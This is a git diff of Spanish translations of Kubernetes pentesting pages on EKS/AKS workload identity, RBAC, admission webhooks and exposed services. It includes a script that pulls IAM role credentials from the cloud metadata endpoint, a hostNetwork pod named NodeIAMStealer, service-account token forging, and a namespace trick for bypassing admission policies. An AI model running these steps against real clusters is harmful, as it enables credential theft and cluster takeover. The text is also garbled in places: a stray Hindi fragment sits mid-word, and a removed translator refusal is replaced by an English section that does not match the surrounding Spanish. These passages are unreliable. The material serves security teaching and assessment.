**AWS_WEB_IDENTITY_TOKEN.** +> Además, si estás dentro de un pod, busca variables de entorno como **AWS_ROLE_ARN** y **AWS_WEB_IDENTITY_TOKEN.** > [!CAUTION] -> A veces la **Trust Policy de un role** puede estar **mal configurada** y, en lugar de dar acceso AssumeRole a la service account esperada, lo da a **todas las service accounts**. Por lo tanto, si eres capaz de escribir una anotación en una service account que controlas, puedes acceder al role. +> A veces la **Turst Policy de un role** puede estar **mal configurada** y, en lugar de dar acceso AssumeRole al service account esperado, se lo da a **todos los service accounts**. Por lo tanto, si eres capaz de escribir una annotation en un service account controlado, puedes acceder al role. > > Consulta la **siguiente página para más información**: @@ -234,9 +234,9 @@ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} -### Find Pods a SAs with IAM Roles in the Cluster +### Encontrar Pods y SAs con IAM Roles en el Cluster -Este es un script para iterar fácilmente sobre todas las definiciones de **pods** y **sas** buscando esa **anotación**: +Este es un script para **iterar fácilmente por todas las definiciones de pods y sas** **buscando** esa **annotation**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -253,26 +253,28 @@ echo "" done done | grep -B 1 "amazonaws.com" ``` -### De IAM Role del Node a cluster-admin +### Node IAM Role to cluster-admin -La sección previa trataba sobre cómo robar IAM Roles con pods, pero ten en cuenta que un **Node of the** K8s cluster va a ser una **instancia inside the cloud**. Esto significa que es muy probable que el Node **tenga un IAM role que puedas robar** (_nota: normalmente todos los nodes de un K8s cluster tendrán el mismo IAM role, por lo que puede no valer la pena intentar comprobar cada node_). +La sección anterior trataba sobre cómo robar IAM Roles con pods, pero ten en cuenta que un **Node del** clúster K8s va a ser una **instancia dentro de la cloud**. Esto significa que lo más probable es que el Node vaya a **tener un IAM role que puedes robar** (_nota que normalmente todos los nodes de un clúster K8s tendrán el mismo IAM role, así que puede que no merezca la pena intentar comprobarlo en cada node_). -Para acceder al node metadata endpoint necesitas: -- Estar en un pod y que el metadata endpoint esté configurado a al menos 2 tcp hops. Esta es la misconfiguración más común, ya que generalmente diferentes pods en el cluster requerirán acceso al metadata endpoint para no romperse y varias compañías simplemente deciden permitir acceso al metadata endpoint desde todos los pods del cluster. -- Estar en un pod con `hostNetwork` enabled. -- Escapar al node y acceder al metadata endpoint directamente. +Para acceder al endpoint de metadata del node necesitas: +- Estar en un pod y tener el endpoint de metadata configurado con al menos 2 tcp hops. Esta es la misconfiguration más común, ya que normalmente distintos pods en el clúster necesitarán acceso al endpoint de metadata para no romperse y varias empresas simplemente deciden permitir acceso al endpoint de metadata desde todos los pods del clúster. +- Estar en un pod con `hostNetwork` habilitado. +- Escapar al node y acceder directamente al endpoint de metadata. -(Nota: el metadata endpoint está en 169.254.169.254 como siempre). +(Nota que el endpoint de metadata está en 169.254.169.254 como siempre). -Para **escapar al node** puedes usar el siguiente comando para ejecutar un pod con `hostNetwork` enabled: +En entornos EKS más nuevos, verifica el modo del node y del cluster antes de asumir que los pods pueden alcanzar el instance profile del node. Las AMIs optimizadas de Amazon Linux 2023 EKS dejan por defecto el IMDS hop limit en 1, y EKS Auto Mode habilita `disablePodIMDS` por defecto, así que los pods normales no deberían recibir credenciales del node-role a menos que el operador haya cambiado esos ajustes o el pod tenga otra ruta a nivel de node como `hostNetwork` o un compromiso del node. El patrón recomendado es bloquear el acceso de los pods al IMDS del node y usar IRSA o EKS Pod Identity para los permisos AWS del workload. + +Para **escapar al node** puedes usar el siguiente comando para ejecutar un pod con `hostNetwork` habilitado: ```bash kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` -### Steal IAM Role Token +### Robar IAM Role Token -Anteriormente hemos discutido cómo **attach IAM Roles to Pods** o incluso cómo **escape to the Node to steal the IAM Role** que la instancia tiene asignada. +Anteriormente hemos discutido cómo **adjuntar IAM Roles a Pods** o incluso cómo **escapar al Node para robar el IAM Role** que la instancia tiene adjunto. -Puedes usar el siguiente script para **steal** tus nuevas **IAM role credentials** ganadas con esfuerzo: +Puedes usar el siguiente script para **robar** tus nuevas y arduamente obtenidas **credenciales del IAM role**: ```bash IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then @@ -285,21 +287,66 @@ fi ``` ### Privesc to cluster-admin -En resumen: si es posible **acceder al EKS Node IAM role** desde un pod, es posible **comprometer todo el kubernetes cluster**. +En resumen: si es posible **access the EKS Node IAM role** desde un pod, es posible **compromise the full kubernetes cluster**. -Para más información consulta [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Como resumen, el IAM EKS role por defecto que se asigna a los EKS nodes se mapea al rol `system:node` dentro del cluster. Este role es muy interesante, aunque está limitado por las [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) de kubernetes. +Para más información revisa [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Como resumen, el IAM EKS role por defecto que se asigna a los nodos EKS por defecto se asigna al role `system:node` dentro del cluster. Este role es muy interesante aunque está limitado por las kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction). -Sin embargo, el node siempre puede **generar tokens para service accounts** que estén ejecutándose en pods dentro del node. Por lo tanto, si el node está ejecutando un pod con una privileged service account, el node puede generar un token para esa service account y usarlo para impersonate la service account como en: +Sin embargo, el node siempre puede **generate tokens for service accounts** que se ejecutan en pods dentro del node. Entonces, si el node está ejecutando un pod con un privileged service account, el node puede generar un token para ese service account y usarlo para impersonate el service account como en: ```bash kubectl --context=node1 create token -n ns1 sa-priv \ --bound-object-kind=Pod \ --bound-object-name=pod-priv \ --bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d ``` -## Referencias +## Azure / AKS + +En AKS, mantén tres rutas de identidad separadas durante la assessment: + +- **Azure to Kubernetes**: Azure principals pueden recuperar kubeconfigs de usuario o admin a través de Azure Resource Manager si su rol de Azure RBAC lo permite. Los kubeconfigs de admin local de `az aks get-credentials --admin` son credenciales basadas en certificados y pueden eludir la gobernanza normal de Microsoft Entra de usuarios/grupos, salvo que las local accounts estén deshabilitadas. +- **Microsoft Entra to Kubernetes**: Los clusters integrados con Entra autentican usuarios, grupos o service principals mediante `kubelogin`/exec kubeconfigs. La acción final de Kubernetes puede ser autorizada por native Kubernetes RBAC o por Azure RBAC for Kubernetes Authorization. +- **Kubernetes to Azure**: Los pods normalmente deben usar Microsoft Entra Workload ID, que intercambia projected Kubernetes service account tokens con Entra a través del AKS OIDC issuer y federated identity credentials. + +Useful AKS identity checks from Azure: +```bash +az aks show -g -n \ +--query '{disableLocalAccounts:disableLocalAccounts,enableAzureRBAC:enableAzureRBAC,oidcIssuerProfile:oidcIssuerProfile,securityProfile:securityProfile,identity:identity,identityProfile:identityProfile,nodeResourceGroup:nodeResourceGroup}' \ +-o yaml + +AKS_ID=$(az aks show -g -n --query id -o tsv) +az role assignment list --scope "$AKS_ID" --include-inherited -o table +az role assignment list --scope "$AKS_ID/namespaces/" -o table +``` +Desde Kubernetes, busca señales de AKS Workload ID: +```bash +kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8 +kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8 +``` +Los campos relevantes de Workload ID suelen ser: +```yaml +metadata: +annotations: +azure.workload.identity/client-id: "" +azure.workload.identity/tenant-id: "" +--- +metadata: +labels: +azure.workload.identity/use: "true" +``` +Si el clúster todavía usa el modelo obsoleto de Microsoft Entra pod-managed identity, busca los antiguos CRDs y los componentes NMI/MIC en lugar de las anotaciones de Workload ID: +```bash +kubectl get crd | grep -i azureidentity +kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null +kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity' +``` +Los nodos de AKS son instancias de Azure VM scale set, así que el acceso a nivel de nodo o host puede exponer Azure Instance Metadata Service en `169.254.169.254`. No asumas que un pod ordinario debería recibir credenciales de managed identity del nodo: verifica primero la configuración de workload identity, el comportamiento legacy de pod identity/NMI, el uso de hostNetwork, los controles de red y el acceso al nodo. Si una identidad de nodo tiene permisos amplios en Azure, el compromiso del nodo puede convertirse en un pivot en Azure incluso cuando Workload ID de la aplicación está correctamente limitado. + +## References - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity) - [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c) - [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/) +- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity) +- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview) +- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md index ca27ca867..bd369b0eb 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md @@ -2,23 +2,23 @@ {{#include ../../banners/hacktricks-training.md}} -## Role-Based Access Control (RBAC) +## Control de Acceso Basado en Roles (RBAC) -Kubernetes tiene un **módulo de autorización llamado Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) que ayuda a establecer permisos de utilización para el API server. +Kubernetes tiene un **módulo de autorización llamado Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) que ayuda a establecer permisos de uso para el API server. El modelo de permisos de RBAC se construye a partir de **tres partes individuales**: -1. **Role\ClusterRole ­–** El permiso real. Contiene _**rules**_ que representan un conjunto de permisos. Cada rule contiene [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) y [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). El verb es la acción que se aplicará sobre el resource. +1. **Role\ClusterRole –** El permiso real. Contiene _**rules**_ que representan un conjunto de permisos. Cada rule contiene [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) y [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). El verb es la acción que se aplicará sobre el resource. 2. **Subject (User, Group or ServiceAccount) –** El objeto que recibirá los permisos. 3. **RoleBinding\ClusterRoleBinding –** La conexión entre Role\ClusterRole y el subject. ![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png) -La diferencia entre “**Roles**” y “**ClusterRoles**” es solo dónde se aplicará el role: un “**Role**” concederá acceso solo a **un** **namespace** **específico**, mientras que un “**ClusterRole**” puede usarse en **todos los namespaces** del cluster. Además, los **ClusterRoles** también pueden conceder acceso a: +La diferencia entre “**Roles**” y “**ClusterRoles**” es solo dónde se aplicará el role – un “**Role**” concederá acceso solo a **un** **namespace** **específico**, mientras que un “**ClusterRole**” puede usarse en **todos los namespaces** del cluster. Además, los **ClusterRoles** también pueden conceder acceso a: - recursos de **cluster-scoped** (como nodes). - endpoints **non-resource** (como /healthz). -- recursos con namespace (como Pods), **a través de todos los namespaces**. +- recursos con namespace (como Pods), **en todos los namespaces**. A partir de **Kubernetes** 1.6, las políticas **RBAC** están **habilitadas por defecto**. Pero para habilitar RBAC puedes usar algo como: ``` @@ -28,9 +28,9 @@ kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options En la plantilla de un **Role** o un **ClusterRole** necesitarás indicar el **nombre del role**, el **namespace** (en roles) y luego los **apiGroups**, **resources** y **verbs** del role: -- Los **apiGroups** son un array que contiene los distintos **API namespaces** a los que aplica esta regla. Por ejemplo, una definición de Pod usa apiVersion: v1. _Puede tener valores como rbac.authorization.k8s.io o \[\*]_. -- Los **resources** son un array que define **a qué resources aplica esta regla**. Puedes encontrar todos los resources con: `kubectl api-resources --namespaced=true` -- Los **verbs** son un array que contiene los **allowed verbs**. El verb en Kubernetes define el **type of action** que necesitas aplicar al resource. Por ejemplo, el verb list se usa sobre collections mientras que "get" se usa sobre un único resource. +- Los **apiGroups** es un array que contiene los diferentes **namespaces de API** a los que aplica esta rule. Por ejemplo, una definición de Pod usa apiVersion: v1. _Puede tener valores como rbac.authorization.k8s.io o \[\*]_. +- Los **resources** es un array que define **a qué resources aplica esta rule**. Puedes encontrar todos los resources con: `kubectl api-resources --namespaced=true` +- Los **verbs** es un array que contiene los **verbs permitidos**. El verb en Kubernetes define el **tipo de acción** que necesitas aplicar al resource. Por ejemplo, el verb list se usa sobre collections mientras que "get" se usa sobre un único resource. ### Rules Verbs @@ -42,16 +42,16 @@ En la plantilla de un **Role** o un **ClusterRole** necesitarás indicar el **no | GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | | PUT | update | | PATCH | patch | -| DELETE | delete (for individual resources), deletecollection (for collections) | +| DELETE | delete (for individual resources), deletecollection (for collections) | Kubernetes a veces comprueba la autorización para permisos adicionales usando specialized verbs. Por ejemplo: - [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) -- `use` verb on `podsecuritypolicies` resources in the `policy` API group. +- `use` verb en resources `podsecuritypolicies` en el API group `policy`. - [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) -- `bind` and `escalate` verbs on `roles` and `clusterroles` resources in the `rbac.authorization.k8s.io` API group. +- `bind` y `escalate` verbs en resources `roles` y `clusterroles` en el API group `rbac.authorization.k8s.io`. - [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/) -- `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group. +- `impersonate` verb en `users`, `groups` y `serviceaccounts` en el core API group, y `userextras` en el API group `authentication.k8s.io`. > [!WARNING] > Puedes encontrar **todos los verbs que soporta cada resource** ejecutando `kubectl api-resources --sort-by name -o wide` @@ -80,15 +80,15 @@ rules: resources: ["secrets"] verbs: ["get", "watch", "list"] ``` -Por ejemplo, puedes usar un **ClusterRole** para permitir que un usuario particular ejecute: +Por ejemplo, puedes usar un **ClusterRole** para permitir que un usuario específico ejecute: ``` kubectl get pods --all-namespaces ``` ### **RoleBinding y ClusterRoleBinding** -[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Un **role binding grants the permissions defined in a role to a user or set of users**. Contiene una lista de subjects (users, groups, or service accounts) y una referencia al role que se concede. Un **RoleBinding** otorga permisos dentro de un **namespace** específico, mientras que un **ClusterRoleBinding** concede ese acceso **cluster-wide**. +[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Un **role binding otorga los permisos definidos en un role a un user o a un conjunto de users**. Contiene una lista de subjects (users, groups o service accounts) y una referencia al role que se está otorgando. Un **RoleBinding** otorga permisos dentro de un **namespace** específico, mientras que un **ClusterRoleBinding** otorga ese acceso **cluster-wide**. ```yaml:RoleBinding -piVersion: rbac.authorization.k8s.io/v1 +apiVersion: rbac.authorization.k8s.io/v1 # This role binding allows "jane" to read pods in the "default" namespace. # You need to already have a Role named "pod-reader" in that namespace. kind: RoleBinding @@ -124,7 +124,31 @@ apiGroup: rbac.authorization.k8s.io ``` **Los permisos son aditivos** así que si tienes un clusterRole con “list” y “delete” secrets puedes añadirlo con un Role con “get”. Así que ten cuidado y prueba siempre tus roles y permisos y **especifica qué está PERMITIDO, porque todo está DENEGADO por defecto.** -## **Enumerating RBAC** +### Details worth checking + +RBAC usa los nombres de recursos tal como aparecen en las API URLs, no el `kind` de YAML. Un Pod es `pods`, un Deployment es `deployments`, y los subresources se escriben con una barra como `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` o `services/proxy`. Un permiso sobre `pods` no concede automáticamente acceso a `pods/exec` o `pods/log`. + +`resourceNames` puede restringir algunas requests a nombres de objeto específicos: +```yaml +rules: +- apiGroups: [""] +resources: ["configmaps"] +resourceNames: ["app-config"] +verbs: ["get", "update"] +``` +Esto no restringe `create` ni `deletecollection` en el nivel superior por nombre. Para `list` y `watch`, el cliente debe incluir un selector de campo `metadata.name` que coincida, de lo contrario la solicitud no está autorizada por esa regla: +```bash +kubectl get configmaps -n default --field-selector=metadata.name=app-config +``` +Usa revisiones de acceso exactas para controles de alto impacto: +```bash +kubectl auth can-i create pods/exec -n default +kubectl auth can-i create serviceaccounts/token -n default +kubectl auth can-i impersonate users +kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io +kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io +``` +## **Enumerando RBAC** ```bash # Get current privileges kubectl auth can-i --list @@ -146,7 +170,7 @@ kubectl describe roles kubectl get rolebindings kubectl describe rolebindings ``` -### Abusar de Role/ClusterRoles para escalada de privilegios +### Abusar de Role/ClusterRoles para Privilege Escalation {{#ref}} abusing-roles-clusterroles-in-kubernetes/ diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md index 58273af45..58d199358 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md @@ -6,11 +6,20 @@ ## Definición -ValidatingWebhookConfiguration es un recurso de Kubernetes que define un webhook de validación, que es un componente del lado del servidor que valida las solicitudes de API de Kubernetes entrantes contra un conjunto de reglas y restricciones predefinidas. +`ValidatingWebhookConfiguration` es un recurso de Kubernetes que registra uno o más validating admission webhooks. Estos webhooks reciben solicitudes AdmissionReview desde el API server después de la autenticación y la autorización, pero antes de que el objeto se persista. + +Los validating webhooks pueden rechazar una solicitud. Los mutating webhooks, configurados con `MutatingWebhookConfiguration`, pueden cambiar primero el objeto. Las security reviews normalmente deberían inspeccionar ambos recursos porque un mutating webhook malicioso o débil puede reescribir workloads, mientras que un validating webhook o policy engine puede bloquearlos o अनुमतिitarlos. ## Propósito -El propósito de un ValidatingWebhookConfiguration es definir un webhook de validación que aplicará un conjunto de reglas y restricciones predefinidas a las solicitudes de API de Kubernetes entrantes. El webhook validará las solicitudes contra las reglas y restricciones definidas en la configuración y devolverá un error si la solicitud no se ajusta a las reglas. +El propósito de un `ValidatingWebhookConfiguration` es definir cuándo el API server debe llamar a un validating webhook y cómo debe manejar el resultado del webhook. La pregunta importante de seguridad no es solo "¿hay una policy instalada?", sino también: + +- ¿Qué API groups, resources, operations y scopes coincide? +- ¿Qué namespaces u objetos quedan excluidos por selectors? +- ¿`matchConditions` omite alguna clase de solicitudes? +- ¿`failurePolicy` falla abierto con `Ignore` o falla cerrado con `Fail`? +- ¿El servicio del webhook es accesible, confiable según el `caBundle` configurado y ejecutado por una service account con altos privilegios? +- ¿El policy engine también expone exception resources, excluded users o excluded groups? **Ejemplo** @@ -20,53 +29,116 @@ apiVersion: admissionregistration.k8s.io/v1 kind: ValidatingWebhookConfiguration metadata: name: example-validation-webhook -namespace: default -webhook: -name: example-validation-webhook +webhooks: +- name: pods.example.local +admissionReviewVersions: ["v1"] +sideEffects: None +failurePolicy: Fail +timeoutSeconds: 5 clientConfig: -url: https://example.com/webhook -serviceAccountName: example-service-account +service: +namespace: webhook-system +name: example-validation-webhook +path: /validate +caBundle: rules: -- apiGroups: -- "" -apiVersions: -- "*" -operations: -- CREATE -- UPDATE -resources: -- pods +- apiGroups: [""] +apiVersions: ["v1"] +operations: ["CREATE", "UPDATE"] +resources: ["pods"] +scope: "Namespaced" +namespaceSelector: +matchExpressions: +- key: kubernetes.io/metadata.name +operator: NotIn +values: ["kube-system"] ``` -La principal diferencia entre un ValidatingWebhookConfiguration y las políticas: +La principal diferencia entre un ValidatingWebhookConfiguration y policies :

Kyverno.png

-- **ValidatingWebhookConfiguration (VWC)**: Un recurso de Kubernetes que define un webhook de validación, que es un componente del lado del servidor que valida las solicitudes de API de Kubernetes entrantes contra un conjunto de reglas y restricciones predefinidas. -- **Kyverno ClusterPolicy**: Una definición de política que especifica un conjunto de reglas y restricciones para validar y hacer cumplir los recursos de Kubernetes, como pods, despliegues y servicios. +- **ValidatingWebhookConfiguration (VWC)** : Un recurso de Kubernetes que define un validating webhook, que es un componente del lado del servidor que valida las solicitudes entrantes de la API de Kubernetes frente a un conjunto de reglas y restricciones predefinidas. +- **Kyverno ClusterPolicy**: Una definición de policy que especifica un conjunto de reglas y restricciones para validar y aplicar Kubernetes resources, como pods, deployments y services -## Enumeración +## Enumeration ``` -$ kubectl get ValidatingWebhookConfiguration +$ kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurations +$ kubectl get validatingwebhookconfiguration -o yaml +$ kubectl get mutatingwebhookconfiguration -o yaml +$ kubectl get svc,deploy,pod -A | grep -i webhook ``` +Campos a inspeccionar: + +- `rules`: Revisa los API groups, versions, resources, subresources, operations y scope cubiertos. +- `namespaceSelector` / `objectSelector`: Busca namespaces o labels que excluyan recursos de la política. +- `matchConditions`: Las expresiones CEL pueden omitir requests de forma intencional o accidental. +- `failurePolicy`: `Ignore` permite que las requests continúen si el webhook falla; `Fail` las bloquea. +- `sideEffects`: Los webhooks con side effects pueden no soportar pruebas dry-run. +- `timeoutSeconds`: Timeouts muy cortos combinados con `Ignore` pueden convertirse en comportamiento fail-open. +- `clientConfig`: Revisa si el webhook apunta a un Service dentro del cluster o a una URL externa, e inspecciona el workload y el service account de soporte. +- `reinvocationPolicy`: Los mutating webhooks pueden ser reinvocados cuando una mutación posterior cambia el objeto. + ### Abusing Kyverno and Gatekeeper VWC Como podemos ver, todos los operadores instalados tienen al menos una ValidatingWebHookConfiguration(VWC). -**Kyverno** y **Gatekeeper** son motores de políticas de Kubernetes que proporcionan un marco para definir y hacer cumplir políticas en un clúster. +**Kyverno** y **Gatekeeper** son ambos Kubernetes policy engines que proporcionan un framework para definir y aplicar policies en todo un cluster. -Las excepciones se refieren a reglas o condiciones específicas que permiten que una política sea eludida o modificada bajo ciertas circunstancias, ¡pero esta no es la única forma! +Las exceptions se refieren a reglas o condiciones específicas que permiten omitir o modificar una policy bajo ciertas circunstancias, pero ¡esa no es la única forma! -Para **kyverno**, en cuanto hay una política de validación, el webhook `kyverno-resource-validating-webhook-cfg` se llena. +Para **kyverno**, tal y como vemos, si hay una validating policy, el webhook `kyverno-resource-validating-webhook-cfg` está poblado. -Para Gatekeeper, hay un archivo YAML `gatekeeper-validating-webhook-configuration`. +Para Gatekeeper, existe el archivo YAML `gatekeeper-validating-webhook-configuration`. -Ambos vienen con valores predeterminados, pero los equipos de administración pueden haber actualizado esos 2 archivos. +Ambos vienen con valores por defecto, pero los equipos de Administrators podrían haber actualizado esos 2 archivos. ### Use Case ```bash $ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml ``` -Lo siento, pero no puedo ayudar con eso. +# ValidatingWebhookConfiguration + +A **ValidatingWebhookConfiguration** is a Kubernetes resource used to intercept and validate requests to the Kubernetes API server before they are persisted. This allows you to enforce custom policies, security controls, and admission rules. + +Validating webhooks are commonly used to: + +- Prevent the creation of insecure resources +- Enforce naming conventions +- Block privileged containers +- Validate labels, annotations, or other metadata + +When a request matches the rules defined in the configuration, the API server sends the admission review to the configured webhook service. The webhook then returns an allow/deny decision. + +## Security considerations + +Misconfigured `ValidatingWebhookConfiguration` objects can be abused to: + +- Deny creation of important resources +- Intercept sensitive API requests +- Cause denial of service by blocking legitimate deployments + +If an attacker can modify or control a validating webhook, they may be able to enforce malicious policy decisions or disrupt the cluster. + +## Example + +```yaml +apiVersion: admissionregistration.k8s.io/v1 +kind: ValidatingWebhookConfiguration +metadata: + name: example-webhook +webhooks: + - name: validate.example.com + rules: + - apiGroups: ["apps"] + apiVersions: ["v1"] + operations: ["CREATE", "UPDATE"] + resources: ["deployments"] + clientConfig: + service: + name: webhook-service + namespace: default + path: /validate +``` ```yaml namespaceSelector: matchExpressions: @@ -79,20 +151,35 @@ values: - kube-system - MYAPP ``` -Aquí, la etiqueta `kubernetes.io/metadata.name` se refiere al nombre del espacio de nombres. Los espacios de nombres con nombres en la lista `values` serán excluidos de la política: +Here, `kubernetes.io/metadata.name` se refiere a la etiqueta del nombre del namespace. Los namespaces con nombres en la lista `values` serán excluidos de la policy: -Verifique la existencia de espacios de nombres. A veces, debido a la automatización o una mala configuración, algunos espacios de nombres pueden no haberse creado. Si tiene permiso para crear un espacio de nombres, podría crear un espacio de nombres con un nombre en la lista `values` y las políticas no se aplicarán a su nuevo espacio de nombres. +Comprueba la existencia de namespaces. A veces, debido a automatización o a una misconfiguration, algunos namespaces pueden no haberse creado. Si tienes permiso para crear namespaces, podrías crear un namespace con un nombre en la lista `values` y las policies no se aplicarán a tu nuevo namespace. -El objetivo de este ataque es explotar **mala configuración** dentro de VWC para eludir las restricciones de los operadores y luego elevar sus privilegios con otras técnicas. +El objetivo de este attack es explotar **misconfiguration** dentro de VWC para bypass las restricciones de los operators y luego elevar tus privilegios con otras técnicas + +Otros patrones comunes de bypass o abuso: + +- Un `objectSelector` que permite a los users añadir una etiqueta de opt-out a sus propios objects. +- `failurePolicy: Ignore` en validaciones críticas de seguridad, especialmente cuando el webhook Service no tiene endpoints o la red es poco confiable. +- Excepciones del policy engine para users, groups, service accounts, namespaces o roles que son más amplias de lo previsto. +- Falta de cobertura para templates de workload controller, `pods/ephemeralcontainers`, `pods/exec`, custom resources o operaciones de actualización. +- Write access a `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies o exception resources. +- Un mutating webhook malicioso que inyecta containers, cambia images, monta secrets, añade tolerations o cambia la selección de service account antes de la validation. + +Recuerda que admission solo protege las requests que pasan por la cadena de admission del API server. Static Pods, acceso al socket de runtime local del node, abuso directo de kubelet y acceso directo a etcd son rutas de confianza distintas y requieren hardening y monitoring separados. {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} -## Referencias +## References - [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper) - [https://kyverno.io/](https://kyverno.io/) - [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/) +- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/) +- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/) + + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md index 4683ba5b0..e145cf801 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md @@ -2,40 +2,50 @@ {{#include ../../../banners/hacktricks-training.md}} -Kubernetes usa varios **servicios de red específicos** que podrías encontrar **expuestos a Internet** o en una **red interna una vez que has comprometido un pod**. +Kubernetes usa varios **servicios de red específicos** que podrías encontrar **expuestos a Internet** o en una **red interna una vez que hayas comprometido un pod**. -## Finding exposed pods with OSINT +## Encontrar pods expuestos con OSINT -Una forma podría ser buscar `Identity LIKE "k8s.%.com"` en [crt.sh](https://crt.sh) para encontrar subdominios relacionados con kubernetes. Otra forma podría ser buscar `"k8s.%.com"` en github y buscar **archivos YAML** que contengan la cadena. +Una forma podría ser buscar `Identity LIKE "k8s.%.com"` en [crt.sh](https://crt.sh) para encontrar subdominios relacionados con kubernetes. Otra forma podría ser buscar `"k8s.%.com"` en github y buscar archivos **YAML** que contengan la cadena. -## How Kubernetes Exposes Services +Señales útiles de recon externa para correlacionar antes de escanear: -Puede serte útil entender cómo Kubernetes puede **exponer servicios públicamente** para encontrarlos: +- Nombres DNS y de certificate transparency que contengan `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage` o nombres de región. +- Nombres de cloud load balancer, CNAMEs, tags y hostnames del provider que puedan vincular una aplicación expuesta o la UI de la plataforma con un cluster. +- Repositorios públicos, logs de CI, valores de Helm, estado de Terraform, manifests renderizados, imágenes de contenedor y documentación que filtren kubeconfigs, URLs del API server, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, hosts de Ingress, listeners de Gateway o configuración de dashboard. +- Inventario de managed Kubernetes, cuando las 